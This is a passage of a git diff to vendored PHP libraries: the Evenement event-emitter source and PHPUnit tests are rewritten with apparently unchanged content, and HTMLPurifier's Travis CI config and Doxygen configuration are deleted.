+++ b/vendor/evenement/evenement/src/Evenement/EventEmitterInterface.php @@ -1,22 +1,22 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Evenement; - -interface EventEmitterInterface -{ - public function on($event, callable $listener); - public function once($event, callable $listener); - public function removeListener($event, callable $listener); - public function removeAllListeners($event = null); - public function listeners($event = null); - public function emit($event, array $arguments = []); -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Evenement; + +interface EventEmitterInterface +{ + public function on($event, callable $listener); + public function once($event, callable $listener); + public function removeListener($event, callable $listener); + public function removeAllListeners($event = null); + public function listeners($event = null); + public function emit($event, array $arguments = []); +} diff --git a/vendor/evenement/evenement/src/Evenement/EventEmitterTrait.php b/vendor/evenement/evenement/src/Evenement/EventEmitterTrait.php index ff29e0b89f..a78e65ca51 100644 --- a/vendor/evenement/evenement/src/Evenement/EventEmitterTrait.php +++ b/vendor/evenement/evenement/src/Evenement/EventEmitterTrait.php @@ -1,135 +1,135 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Evenement; - -use InvalidArgumentException; - -trait EventEmitterTrait -{ - protected $listeners = []; - protected $onceListeners = []; - - public function on($event, callable $listener) - { - if ($event === null) { - throw new InvalidArgumentException('event name must not be null'); - } - - if (!isset($this->listeners[$event])) { - $this->listeners[$event] = []; - } - - $this->listeners[$event][] = $listener; - - return $this; - } - - public function once($event, callable $listener) - { - if ($event === null) { - throw new InvalidArgumentException('event name must not be null'); - } - - if (!isset($this->onceListeners[$event])) { - $this->onceListeners[$event] = []; - } - - $this->onceListeners[$event][] = $listener; - - return $this; - } - - public function removeListener($event, callable $listener) - { - if ($event === null) { - throw new InvalidArgumentException('event name must not be null'); - } - - if (isset($this->listeners[$event])) { - $index = \array_search($listener, $this->listeners[$event], true); - if (false !== $index) { - unset($this->listeners[$event][$index]); - if (\count($this->listeners[$event]) === 0) { - unset($this->listeners[$event]); - } - } - } - - if (isset($this->onceListeners[$event])) { - $index = \array_search($listener, $this->onceListeners[$event], true); - if (false !== $index) { - unset($this->onceListeners[$event][$index]); - if (\count($this->onceListeners[$event]) === 0) { - unset($this->onceListeners[$event]); - } - } - } - } - - public function removeAllListeners($event = null) - { - if ($event !== null) { - unset($this->listeners[$event]); - } else { - $this->listeners = []; - } - - if ($event !== null) { - unset($this->onceListeners[$event]); - } else { - $this->onceListeners = []; - } - } - - public function listeners($event = null): array - { - if ($event === null) { - $events = []; - $eventNames = \array_unique( - \array_merge(\array_keys($this->listeners), \array_keys($this->onceListeners)) - ); - foreach ($eventNames as $eventName) { - $events[$eventName] = \array_merge( - isset($this->listeners[$eventName]) ? $this->listeners[$eventName] : [], - isset($this->onceListeners[$eventName]) ? $this->onceListeners[$eventName] : [] - ); - } - return $events; - } - - return \array_merge( - isset($this->listeners[$event]) ? $this->listeners[$event] : [], - isset($this->onceListeners[$event]) ? $this->onceListeners[$event] : [] - ); - } - - public function emit($event, array $arguments = []) - { - if ($event === null) { - throw new InvalidArgumentException('event name must not be null'); - } - - if (isset($this->listeners[$event])) { - foreach ($this->listeners[$event] as $listener) { - $listener(...$arguments); - } - } - - if (isset($this->onceListeners[$event])) { - $listeners = $this->onceListeners[$event]; - unset($this->onceListeners[$event]); - foreach ($listeners as $listener) { - $listener(...$arguments); - } - } - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Evenement; + +use InvalidArgumentException; + +trait EventEmitterTrait +{ + protected $listeners = []; + protected $onceListeners = []; + + public function on($event, callable $listener) + { + if ($event === null) { + throw new InvalidArgumentException('event name must not be null'); + } + + if (!isset($this->listeners[$event])) { + $this->listeners[$event] = []; + } + + $this->listeners[$event][] = $listener; + + return $this; + } + + public function once($event, callable $listener) + { + if ($event === null) { + throw new InvalidArgumentException('event name must not be null'); + } + + if (!isset($this->onceListeners[$event])) { + $this->onceListeners[$event] = []; + } + + $this->onceListeners[$event][] = $listener; + + return $this; + } + + public function removeListener($event, callable $listener) + { + if ($event === null) { + throw new InvalidArgumentException('event name must not be null'); + } + + if (isset($this->listeners[$event])) { + $index = \array_search($listener, $this->listeners[$event], true); + if (false !== $index) { + unset($this->listeners[$event][$index]); + if (\count($this->listeners[$event]) === 0) { + unset($this->listeners[$event]); + } + } + } + + if (isset($this->onceListeners[$event])) { + $index = \array_search($listener, $this->onceListeners[$event], true); + if (false !== $index) { + unset($this->onceListeners[$event][$index]); + if (\count($this->onceListeners[$event]) === 0) { + unset($this->onceListeners[$event]); + } + } + } + } + + public function removeAllListeners($event = null) + { + if ($event !== null) { + unset($this->listeners[$event]); + } else { + $this->listeners = []; + } + + if ($event !== null) { + unset($this->onceListeners[$event]); + } else { + $this->onceListeners = []; + } + } + + public function listeners($event = null): array + { + if ($event === null) { + $events = []; + $eventNames = \array_unique( + \array_merge(\array_keys($this->listeners), \array_keys($this->onceListeners)) + ); + foreach ($eventNames as $eventName) { + $events[$eventName] = \array_merge( + isset($this->listeners[$eventName]) ? $this->listeners[$eventName] : [], + isset($this->onceListeners[$eventName]) ? $this->onceListeners[$eventName] : [] + ); + } + return $events; + } + + return \array_merge( + isset($this->listeners[$event]) ? $this->listeners[$event] : [], + isset($this->onceListeners[$event]) ? $this->onceListeners[$event] : [] + ); + } + + public function emit($event, array $arguments = []) + { + if ($event === null) { + throw new InvalidArgumentException('event name must not be null'); + } + + if (isset($this->listeners[$event])) { + foreach ($this->listeners[$event] as $listener) { + $listener(...$arguments); + } + } + + if (isset($this->onceListeners[$event])) { + $listeners = $this->onceListeners[$event]; + unset($this->onceListeners[$event]); + foreach ($listeners as $listener) { + $listener(...$arguments); + } + } + } +} diff --git a/vendor/evenement/evenement/tests/Evenement/Tests/EventEmitterTest.php b/vendor/evenement/evenement/tests/Evenement/Tests/EventEmitterTest.php index d36a50ce4f..28f3011d67 100644 --- a/vendor/evenement/evenement/tests/Evenement/Tests/EventEmitterTest.php +++ b/vendor/evenement/evenement/tests/Evenement/Tests/EventEmitterTest.php @@ -1,438 +1,438 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Evenement\Tests; - -use Evenement\EventEmitter; -use InvalidArgumentException; -use PHPUnit\Framework\TestCase; - -class EventEmitterTest extends TestCase -{ - private $emitter; - - public function setUp() - { - $this->emitter = new EventEmitter(); - } - - public function testAddListenerWithLambda() - { - $this->emitter->on('foo', function () {}); - } - - public function testAddListenerWithMethod() - { - $listener = new Listener(); - $this->emitter->on('foo', [$listener, 'onFoo']); - } - - public function testAddListenerWithStaticMethod() - { - $this->emitter->on('bar', ['Evenement\Tests\Listener', 'onBar']); - } - - public function testAddListenerWithInvalidListener() - { - try { - $this->emitter->on('foo', 'not a callable'); - $this->fail(); - } catch (\Exception $e) { - } catch (\TypeError $e) { - } - } - - public function testOnce() - { - $listenerCalled = 0; - - $this->emitter->once('foo', function () use (&$listenerCalled) { - $listenerCalled++; - }); - - $this->assertSame(0, $listenerCalled); - - $this->emitter->emit('foo'); - - $this->assertSame(1, $listenerCalled); - - $this->emitter->emit('foo'); - - $this->assertSame(1, $listenerCalled); - } - - public function testOnceWithArguments() - { - $capturedArgs = []; - - $this->emitter->once('foo', function ($a, $b) use (&$capturedArgs) { - $capturedArgs = array($a, $b); - }); - - $this->emitter->emit('foo', array('a', 'b')); - - $this->assertSame(array('a', 'b'), $capturedArgs); - } - - public function testEmitWithoutArguments() - { - $listenerCalled = false; - - $this->emitter->on('foo', function () use (&$listenerCalled) { - $listenerCalled = true; - }); - - $this->assertSame(false, $listenerCalled); - $this->emitter->emit('foo'); - $this->assertSame(true, $listenerCalled); - } - - public function testEmitWithOneArgument() - { - $test = $this; - - $listenerCalled = false; - - $this->emitter->on('foo', function ($value) use (&$listenerCalled, $test) { - $listenerCalled = true; - - $test->assertSame('bar', $value); - }); - - $this->assertSame(false, $listenerCalled); - $this->emitter->emit('foo', ['bar']); - $this->assertSame(true, $listenerCalled); - } - - public function testEmitWithTwoArguments() - { - $test = $this; - - $listenerCalled = false; - - $this->emitter->on('foo', function ($arg1, $arg2) use (&$listenerCalled, $test) { - $listenerCalled = true; - - $test->assertSame('bar', $arg1); - $test->assertSame('baz', $arg2); - }); - - $this->assertSame(false, $listenerCalled); - $this->emitter->emit('foo', ['bar', 'baz']); - $this->assertSame(true, $listenerCalled); - } - - public function testEmitWithNoListeners() - { - $this->emitter->emit('foo'); - $this->emitter->emit('foo', ['bar']); - $this->emitter->emit('foo', ['bar', 'baz']); - } - - public function testEmitWithTwoListeners() - { - $listenersCalled = 0; - - $this->emitter->on('foo', function () use (&$listenersCalled) { - $listenersCalled++; - }); - - $this->emitter->on('foo', function () use (&$listenersCalled) { - $listenersCalled++; - }); - - $this->assertSame(0, $listenersCalled); - $this->emitter->emit('foo'); - $this->assertSame(2, $listenersCalled); - } - - public function testRemoveListenerMatching() - { - $listenersCalled = 0; - - $listener = function () use (&$listenersCalled) { - $listenersCalled++; - }; - - $this->emitter->on('foo', $listener); - $this->emitter->removeListener('foo', $listener); - - $this->assertSame(0, $listenersCalled); - $this->emitter->emit('foo'); - $this->assertSame(0, $listenersCalled); - } - - public function testRemoveListenerNotMatching() - { - $listenersCalled = 0; - - $listener = function () use (&$listenersCalled) { - $listenersCalled++; - }; - - $this->emitter->on('foo', $listener); - $this->emitter->removeListener('bar', $listener); - - $this->assertSame(0, $listenersCalled); - $this->emitter->emit('foo'); - $this->assertSame(1, $listenersCalled); - } - - public function testRemoveAllListenersMatching() - { - $listenersCalled = 0; - - $this->emitter->on('foo', function () use (&$listenersCalled) { - $listenersCalled++; - }); - - $this->emitter->removeAllListeners('foo'); - - $this->assertSame(0, $listenersCalled); - $this->emitter->emit('foo'); - $this->assertSame(0, $listenersCalled); - } - - public function testRemoveAllListenersNotMatching() - { - $listenersCalled = 0; - - $this->emitter->on('foo', function () use (&$listenersCalled) { - $listenersCalled++; - }); - - $this->emitter->removeAllListeners('bar'); - - $this->assertSame(0, $listenersCalled); - $this->emitter->emit('foo'); - $this->assertSame(1, $listenersCalled); - } - - public function testRemoveAllListenersWithoutArguments() - { - $listenersCalled = 0; - - $this->emitter->on('foo', function () use (&$listenersCalled) { - $listenersCalled++; - }); - - $this->emitter->on('bar', function () use (&$listenersCalled) { - $listenersCalled++; - }); - - $this->emitter->removeAllListeners(); - - $this->assertSame(0, $listenersCalled); - $this->emitter->emit('foo'); - $this->emitter->emit('bar'); - $this->assertSame(0, $listenersCalled); - } - - public function testCallablesClosure() - { - $calledWith = null; - - $this->emitter->on('foo', function ($data) use (&$calledWith) { - $calledWith = $data; - }); - - $this->emitter->emit('foo', ['bar']); - - self::assertSame('bar', $calledWith); - } - - public function testCallablesClass() - { - $listener = new Listener(); - $this->emitter->on('foo', [$listener, 'onFoo']); - - $this->emitter->emit('foo', ['bar']); - - self::assertSame(['bar'], $listener->getData()); - } - - - public function testCallablesClassInvoke() - { - $listener = new Listener(); - $this->emitter->on('foo', $listener); - - $this->emitter->emit('foo', ['bar']); - - self::assertSame(['bar'], $listener->getMagicData()); - } - - public function testCallablesStaticClass() - { - $this->emitter->on('foo', '\Evenement\Tests\Listener::onBar'); - - $this->emitter->emit('foo', ['bar']); - - self::assertSame(['bar'], Listener::getStaticData()); - } - - public function testCallablesFunction() - { - $this->emitter->on('foo', '\Evenement\Tests\setGlobalTestData'); - - $this->emitter->emit('foo', ['bar']); - - self::assertSame('bar', $GLOBALS['evenement-evenement-test-data']); - - unset($GLOBALS['evenement-evenement-test-data']); - } - - public function testListeners() - { - $onA = function () {}; - $onB = function () {}; - $onC = function () {}; - $onceA = function () {}; - $onceB = function () {}; - $onceC = function () {}; - - self::assertCount(0, $this->emitter->listeners('event')); - $this->emitter->on('event', $onA); - self::assertCount(1, $this->emitter->listeners('event')); - self::assertSame([$onA], $this->emitter->listeners('event')); - $this->emitter->once('event', $onceA); - self::assertCount(2, $this->emitter->listeners('event')); - self::assertSame([$onA, $onceA], $this->emitter->listeners('event')); - $this->emitter->once('event', $onceB); - self::assertCount(3, $this->emitter->listeners('event')); - self::assertSame([$onA, $onceA, $onceB], $this->emitter->listeners('event')); - $this->emitter->on('event', $onB); - self::assertCount(4, $this->emitter->listeners('event')); - self::assertSame([$onA, $onB, $onceA, $onceB], $this->emitter->listeners('event')); - $this->emitter->removeListener('event', $onceA); - self::assertCount(3, $this->emitter->listeners('event')); - self::assertSame([$onA, $onB, $onceB], $this->emitter->listeners('event')); - $this->emitter->once('event', $onceC); - self::assertCount(4, $this->emitter->listeners('event')); - self::assertSame([$onA, $onB, $onceB, $onceC], $this->emitter->listeners('event')); - $this->emitter->on('event', $onC); - self::assertCount(5, $this->emitter->listeners('event')); - self::assertSame([$onA, $onB, $onC, $onceB, $onceC], $this->emitter->listeners('event')); - $this->emitter->once('event', $onceA); - self::assertCount(6, $this->emitter->listeners('event')); - self::assertSame([$onA, $onB, $onC, $onceB, $onceC, $onceA], $this->emitter->listeners('event')); - $this->emitter->removeListener('event', $onB); - self::assertCount(5, $this->emitter->listeners('event')); - self::assertSame([$onA, $onC, $onceB, $onceC, $onceA], $this->emitter->listeners('event')); - $this->emitter->emit('event'); - self::assertCount(2, $this->emitter->listeners('event')); - self::assertSame([$onA, $onC], $this->emitter->listeners('event')); - } - - public function testOnceCallIsNotRemovedWhenWorkingOverOnceListeners() - { - $aCalled = false; - $aCallable = function () use (&$aCalled) { - $aCalled = true; - }; - $bCalled = false; - $bCallable = function () use (&$bCalled, $aCallable) { - $bCalled = true; - $this->emitter->once('event', $aCallable); - }; - $this->emitter->once('event', $bCallable); - - self::assertFalse($aCalled); - self::assertFalse($bCalled); - $this->emitter->emit('event'); - - self::assertFalse($aCalled); - self::assertTrue($bCalled); - $this->emitter->emit('event'); - - self::assertTrue($aCalled); - self::assertTrue($bCalled); - } - - public function testEventNameMustBeStringOn() - { - self::expectException(InvalidArgumentException::class); - self::expectExceptionMessage('event name must not be null'); - - $this->emitter->on(null, function () {}); - } - - public function testEventNameMustBeStringOnce() - { - self::expectException(InvalidArgumentException::class); - self::expectExceptionMessage('event name must not be null'); - - $this->emitter->once(null, function () {}); - } - - public function testEventNameMustBeStringRemoveListener() - { - self::expectException(InvalidArgumentException::class); - self::expectExceptionMessage('event name must not be null'); - - $this->emitter->removeListener(null, function () {}); - } - - public function testEventNameMustBeStringEmit() - { - self::expectException(InvalidArgumentException::class); - self::expectExceptionMessage('event name must not be null'); - - $this->emitter->emit(null); - } - - public function testListenersGetAll() - { - $a = function () {}; - $b = function () {}; - $c = function () {}; - $d = function () {}; - - $this->emitter->once('event2', $c); - $this->emitter->on('event', $a); - $this->emitter->once('event', $b); - $this->emitter->on('event', $c); - $this->emitter->once('event', $d); - - self::assertSame( - [ - 'event' => [ - $a, - $c, - $b, - $d, - ], - 'event2' => [ - $c, - ], - ], - $this->emitter->listeners() - ); - } - - public function testOnceNestedCallRegression() - { - $first = 0; - $second = 0; - - $this->emitter->once('event', function () use (&$first, &$second) { - $first++; - $this->emitter->once('event', function () use (&$second) { - $second++; - }); - $this->emitter->emit('event'); - }); - $this->emitter->emit('event'); - - self::assertSame(1, $first); - self::assertSame(1, $second); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Evenement\Tests; + +use Evenement\EventEmitter; +use InvalidArgumentException; +use PHPUnit\Framework\TestCase; + +class EventEmitterTest extends TestCase +{ + private $emitter; + + public function setUp() + { + $this->emitter = new EventEmitter(); + } + + public function testAddListenerWithLambda() + { + $this->emitter->on('foo', function () {}); + } + + public function testAddListenerWithMethod() + { + $listener = new Listener(); + $this->emitter->on('foo', [$listener, 'onFoo']); + } + + public function testAddListenerWithStaticMethod() + { + $this->emitter->on('bar', ['Evenement\Tests\Listener', 'onBar']); + } + + public function testAddListenerWithInvalidListener() + { + try { + $this->emitter->on('foo', 'not a callable'); + $this->fail(); + } catch (\Exception $e) { + } catch (\TypeError $e) { + } + } + + public function testOnce() + { + $listenerCalled = 0; + + $this->emitter->once('foo', function () use (&$listenerCalled) { + $listenerCalled++; + }); + + $this->assertSame(0, $listenerCalled); + + $this->emitter->emit('foo'); + + $this->assertSame(1, $listenerCalled); + + $this->emitter->emit('foo'); + + $this->assertSame(1, $listenerCalled); + } + + public function testOnceWithArguments() + { + $capturedArgs = []; + + $this->emitter->once('foo', function ($a, $b) use (&$capturedArgs) { + $capturedArgs = array($a, $b); + }); + + $this->emitter->emit('foo', array('a', 'b')); + + $this->assertSame(array('a', 'b'), $capturedArgs); + } + + public function testEmitWithoutArguments() + { + $listenerCalled = false; + + $this->emitter->on('foo', function () use (&$listenerCalled) { + $listenerCalled = true; + }); + + $this->assertSame(false, $listenerCalled); + $this->emitter->emit('foo'); + $this->assertSame(true, $listenerCalled); + } + + public function testEmitWithOneArgument() + { + $test = $this; + + $listenerCalled = false; + + $this->emitter->on('foo', function ($value) use (&$listenerCalled, $test) { + $listenerCalled = true; + + $test->assertSame('bar', $value); + }); + + $this->assertSame(false, $listenerCalled); + $this->emitter->emit('foo', ['bar']); + $this->assertSame(true, $listenerCalled); + } + + public function testEmitWithTwoArguments() + { + $test = $this; + + $listenerCalled = false; + + $this->emitter->on('foo', function ($arg1, $arg2) use (&$listenerCalled, $test) { + $listenerCalled = true; + + $test->assertSame('bar', $arg1); + $test->assertSame('baz', $arg2); + }); + + $this->assertSame(false, $listenerCalled); + $this->emitter->emit('foo', ['bar', 'baz']); + $this->assertSame(true, $listenerCalled); + } + + public function testEmitWithNoListeners() + { + $this->emitter->emit('foo'); + $this->emitter->emit('foo', ['bar']); + $this->emitter->emit('foo', ['bar', 'baz']); + } + + public function testEmitWithTwoListeners() + { + $listenersCalled = 0; + + $this->emitter->on('foo', function () use (&$listenersCalled) { + $listenersCalled++; + }); + + $this->emitter->on('foo', function () use (&$listenersCalled) { + $listenersCalled++; + }); + + $this->assertSame(0, $listenersCalled); + $this->emitter->emit('foo'); + $this->assertSame(2, $listenersCalled); + } + + public function testRemoveListenerMatching() + { + $listenersCalled = 0; + + $listener = function () use (&$listenersCalled) { + $listenersCalled++; + }; + + $this->emitter->on('foo', $listener); + $this->emitter->removeListener('foo', $listener); + + $this->assertSame(0, $listenersCalled); + $this->emitter->emit('foo'); + $this->assertSame(0, $listenersCalled); + } + + public function testRemoveListenerNotMatching() + { + $listenersCalled = 0; + + $listener = function () use (&$listenersCalled) { + $listenersCalled++; + }; + + $this->emitter->on('foo', $listener); + $this->emitter->removeListener('bar', $listener); + + $this->assertSame(0, $listenersCalled); + $this->emitter->emit('foo'); + $this->assertSame(1, $listenersCalled); + } + + public function testRemoveAllListenersMatching() + { + $listenersCalled = 0; + + $this->emitter->on('foo', function () use (&$listenersCalled) { + $listenersCalled++; + }); + + $this->emitter->removeAllListeners('foo'); + + $this->assertSame(0, $listenersCalled); + $this->emitter->emit('foo'); + $this->assertSame(0, $listenersCalled); + } + + public function testRemoveAllListenersNotMatching() + { + $listenersCalled = 0; + + $this->emitter->on('foo', function () use (&$listenersCalled) { + $listenersCalled++; + }); + + $this->emitter->removeAllListeners('bar'); + + $this->assertSame(0, $listenersCalled); + $this->emitter->emit('foo'); + $this->assertSame(1, $listenersCalled); + } + + public function testRemoveAllListenersWithoutArguments() + { + $listenersCalled = 0; + + $this->emitter->on('foo', function () use (&$listenersCalled) { + $listenersCalled++; + }); + + $this->emitter->on('bar', function () use (&$listenersCalled) { + $listenersCalled++; + }); + + $this->emitter->removeAllListeners(); + + $this->assertSame(0, $listenersCalled); + $this->emitter->emit('foo'); + $this->emitter->emit('bar'); + $this->assertSame(0, $listenersCalled); + } + + public function testCallablesClosure() + { + $calledWith = null; + + $this->emitter->on('foo', function ($data) use (&$calledWith) { + $calledWith = $data; + }); + + $this->emitter->emit('foo', ['bar']); + + self::assertSame('bar', $calledWith); + } + + public function testCallablesClass() + { + $listener = new Listener(); + $this->emitter->on('foo', [$listener, 'onFoo']); + + $this->emitter->emit('foo', ['bar']); + + self::assertSame(['bar'], $listener->getData()); + } + + + public function testCallablesClassInvoke() + { + $listener = new Listener(); + $this->emitter->on('foo', $listener); + + $this->emitter->emit('foo', ['bar']); + + self::assertSame(['bar'], $listener->getMagicData()); + } + + public function testCallablesStaticClass() + { + $this->emitter->on('foo', '\Evenement\Tests\Listener::onBar'); + + $this->emitter->emit('foo', ['bar']); + + self::assertSame(['bar'], Listener::getStaticData()); + } + + public function testCallablesFunction() + { + $this->emitter->on('foo', '\Evenement\Tests\setGlobalTestData'); + + $this->emitter->emit('foo', ['bar']); + + self::assertSame('bar', $GLOBALS['evenement-evenement-test-data']); + + unset($GLOBALS['evenement-evenement-test-data']); + } + + public function testListeners() + { + $onA = function () {}; + $onB = function () {}; + $onC = function () {}; + $onceA = function () {}; + $onceB = function () {}; + $onceC = function () {}; + + self::assertCount(0, $this->emitter->listeners('event')); + $this->emitter->on('event', $onA); + self::assertCount(1, $this->emitter->listeners('event')); + self::assertSame([$onA], $this->emitter->listeners('event')); + $this->emitter->once('event', $onceA); + self::assertCount(2, $this->emitter->listeners('event')); + self::assertSame([$onA, $onceA], $this->emitter->listeners('event')); + $this->emitter->once('event', $onceB); + self::assertCount(3, $this->emitter->listeners('event')); + self::assertSame([$onA, $onceA, $onceB], $this->emitter->listeners('event')); + $this->emitter->on('event', $onB); + self::assertCount(4, $this->emitter->listeners('event')); + self::assertSame([$onA, $onB, $onceA, $onceB], $this->emitter->listeners('event')); + $this->emitter->removeListener('event', $onceA); + self::assertCount(3, $this->emitter->listeners('event')); + self::assertSame([$onA, $onB, $onceB], $this->emitter->listeners('event')); + $this->emitter->once('event', $onceC); + self::assertCount(4, $this->emitter->listeners('event')); + self::assertSame([$onA, $onB, $onceB, $onceC], $this->emitter->listeners('event')); + $this->emitter->on('event', $onC); + self::assertCount(5, $this->emitter->listeners('event')); + self::assertSame([$onA, $onB, $onC, $onceB, $onceC], $this->emitter->listeners('event')); + $this->emitter->once('event', $onceA); + self::assertCount(6, $this->emitter->listeners('event')); + self::assertSame([$onA, $onB, $onC, $onceB, $onceC, $onceA], $this->emitter->listeners('event')); + $this->emitter->removeListener('event', $onB); + self::assertCount(5, $this->emitter->listeners('event')); + self::assertSame([$onA, $onC, $onceB, $onceC, $onceA], $this->emitter->listeners('event')); + $this->emitter->emit('event'); + self::assertCount(2, $this->emitter->listeners('event')); + self::assertSame([$onA, $onC], $this->emitter->listeners('event')); + } + + public function testOnceCallIsNotRemovedWhenWorkingOverOnceListeners() + { + $aCalled = false; + $aCallable = function () use (&$aCalled) { + $aCalled = true; + }; + $bCalled = false; + $bCallable = function () use (&$bCalled, $aCallable) { + $bCalled = true; + $this->emitter->once('event', $aCallable); + }; + $this->emitter->once('event', $bCallable); + + self::assertFalse($aCalled); + self::assertFalse($bCalled); + $this->emitter->emit('event'); + + self::assertFalse($aCalled); + self::assertTrue($bCalled); + $this->emitter->emit('event'); + + self::assertTrue($aCalled); + self::assertTrue($bCalled); + } + + public function testEventNameMustBeStringOn() + { + self::expectException(InvalidArgumentException::class); + self::expectExceptionMessage('event name must not be null'); + + $this->emitter->on(null, function () {}); + } + + public function testEventNameMustBeStringOnce() + { + self::expectException(InvalidArgumentException::class); + self::expectExceptionMessage('event name must not be null'); + + $this->emitter->once(null, function () {}); + } + + public function testEventNameMustBeStringRemoveListener() + { + self::expectException(InvalidArgumentException::class); + self::expectExceptionMessage('event name must not be null'); + + $this->emitter->removeListener(null, function () {}); + } + + public function testEventNameMustBeStringEmit() + { + self::expectException(InvalidArgumentException::class); + self::expectExceptionMessage('event name must not be null'); + + $this->emitter->emit(null); + } + + public function testListenersGetAll() + { + $a = function () {}; + $b = function () {}; + $c = function () {}; + $d = function () {}; + + $this->emitter->once('event2', $c); + $this->emitter->on('event', $a); + $this->emitter->once('event', $b); + $this->emitter->on('event', $c); + $this->emitter->once('event', $d); + + self::assertSame( + [ + 'event' => [ + $a, + $c, + $b, + $d, + ], + 'event2' => [ + $c, + ], + ], + $this->emitter->listeners() + ); + } + + public function testOnceNestedCallRegression() + { + $first = 0; + $second = 0; + + $this->emitter->once('event', function () use (&$first, &$second) { + $first++; + $this->emitter->once('event', function () use (&$second) { + $second++; + }); + $this->emitter->emit('event'); + }); + $this->emitter->emit('event'); + + self::assertSame(1, $first); + self::assertSame(1, $second); + } +} diff --git a/vendor/evenement/evenement/tests/Evenement/Tests/Listener.php b/vendor/evenement/evenement/tests/Evenement/Tests/Listener.php index 41908ba285..df17424656 100644 --- a/vendor/evenement/evenement/tests/Evenement/Tests/Listener.php +++ b/vendor/evenement/evenement/tests/Evenement/Tests/Listener.php @@ -1,51 +1,51 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Evenement\Tests; - -class Listener -{ - private $data = []; - - private $magicData = []; - - private static $staticData = []; - - public function onFoo($data) - { - $this->data[] = $data; - } - - public function __invoke($data) - { - $this->magicData[] = $data; - } - - public static function onBar($data) - { - self::$staticData[] = $data; - } - - public function getData() - { - return $this->data; - } - - public function getMagicData() - { - return $this->magicData; - } - - public static function getStaticData() - { - return self::$staticData; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Evenement\Tests; + +class Listener +{ + private $data = []; + + private $magicData = []; + + private static $staticData = []; + + public function onFoo($data) + { + $this->data[] = $data; + } + + public function __invoke($data) + { + $this->magicData[] = $data; + } + + public static function onBar($data) + { + self::$staticData[] = $data; + } + + public function getData() + { + return $this->data; + } + + public function getMagicData() + { + return $this->magicData; + } + + public static function getStaticData() + { + return self::$staticData; + } +} diff --git a/vendor/evenement/evenement/tests/Evenement/Tests/functions.php b/vendor/evenement/evenement/tests/Evenement/Tests/functions.php index b1d32d3f7a..7f11f5ba92 100644 --- a/vendor/evenement/evenement/tests/Evenement/Tests/functions.php +++ b/vendor/evenement/evenement/tests/Evenement/Tests/functions.php @@ -1,17 +1,17 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Evenement\Tests; - -function setGlobalTestData($data) -{ - $GLOBALS['evenement-evenement-test-data'] = $data; -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Evenement\Tests; + +function setGlobalTestData($data) +{ + $GLOBALS['evenement-evenement-test-data'] = $data; +} diff --git a/vendor/ezyang/htmlpurifier/.travis.yml b/vendor/ezyang/htmlpurifier/.travis.yml deleted file mode 100644 index e32534ae05..0000000000 --- a/vendor/ezyang/htmlpurifier/.travis.yml +++ /dev/null @@ -1,19 +0,0 @@ -language: php -php: - - '5.6' - - '7.0' - - '7.1' - - '7.2' - - '7.3' - - '7.4' -matrix: - include: - - php: '5.4' - dist: trusty - - php: '5.5' - dist: trusty -before_script: - - git clone --depth=50 https://github.com/ezyang/simpletest.git - - cp test-settings.travis.php test-settings.php -script: - - php tests/index.php diff --git a/vendor/ezyang/htmlpurifier/Doxyfile b/vendor/ezyang/htmlpurifier/Doxyfile deleted file mode 100644 index fdb92fe30b..0000000000 --- a/vendor/ezyang/htmlpurifier/Doxyfile +++ /dev/null @@ -1,1317 +0,0 @@ -# Doxyfile 1.5.3 - -# This file describes the settings to be used by the documentation system -# doxygen (www.doxygen.org) for a project -# -# All text after a hash (#) is considered a comment and will be ignored -# The format is: -# TAG = value [value, ...] -# For lists items can also be appended using: -# TAG += value [value, ...] -# Values that contain spaces should be placed between quotes (" ") - -#--------------------------------------------------------------------------- -# Project related configuration options -#--------------------------------------------------------------------------- - -# This tag specifies the encoding used for all characters in the config file that -# follow. The default is UTF-8 which is also the encoding used for all text before -# the first occurrence of this tag. Doxygen uses libiconv (or the iconv built into -# libc) for the transcoding. See http://www.gnu.org/software/libiconv for the list of -# possible encodings. - -DOXYFILE_ENCODING = UTF-8 - -# The PROJECT_NAME tag is a single word (or a sequence of words surrounded -# by quotes) that should identify the project. - -PROJECT_NAME = HTMLPurifier - -# The PROJECT_NUMBER tag can be used to enter a project or revision number. -# This could be handy for archiving the generated documentation or -# if some version control system is used. - -PROJECT_NUMBER = 4.13.0 - -# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) -# base path where the generated documentation will be put. -# If a relative path is entered, it will be relative to the location -# where doxygen was started. If left blank the current directory will be used. - -OUTPUT_DIRECTORY = "docs/doxygen " - -# If the CREATE_SUBDIRS tag is set to YES, then doxygen will create -# 4096 sub-directories (in 2 levels) under the output directory of each output -# format and will distribute the generated files over these directories. -# Enabling this option can be useful when feeding doxygen a huge amount of -# source files, where putting all generated files in the same directory would -# otherwise cause performance problems for the file system. - -CREATE_SUBDIRS = NO - -# The OUTPUT_LANGUAGE tag is used to specify the language in which all -# documentation generated by doxygen is written. Doxygen will use this -# information to generate all constant output in the proper language. -# The default language is English, other supported languages are: -# Afrikaans, Arabic, Brazilian, Catalan, Chinese, Chinese-Traditional, -# Croatian, Czech, Danish, Dutch, Finnish, French, German, Greek, Hungarian, -# Italian, Japanese, Japanese-en (Japanese with English messages), Korean, -# Korean-en, Lithuanian, Norwegian, Polish, Portuguese, Romanian, Russian, -# Serbian, Slovak, Slovene, Spanish, Swedish, and Ukrainian. - -OUTPUT_LANGUAGE = English - -# If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will -# include brief member descriptions after the members that are listed in -# the file and class documentation (similar to JavaDoc). -# Set to NO to disable this. - -BRIEF_MEMBER_DESC = YES - -# If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend -# the brief description of a member or function before the detailed description. -# Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the -# brief descriptions will be completely suppressed. - -REPEAT_BRIEF = YES - -# This tag implements a 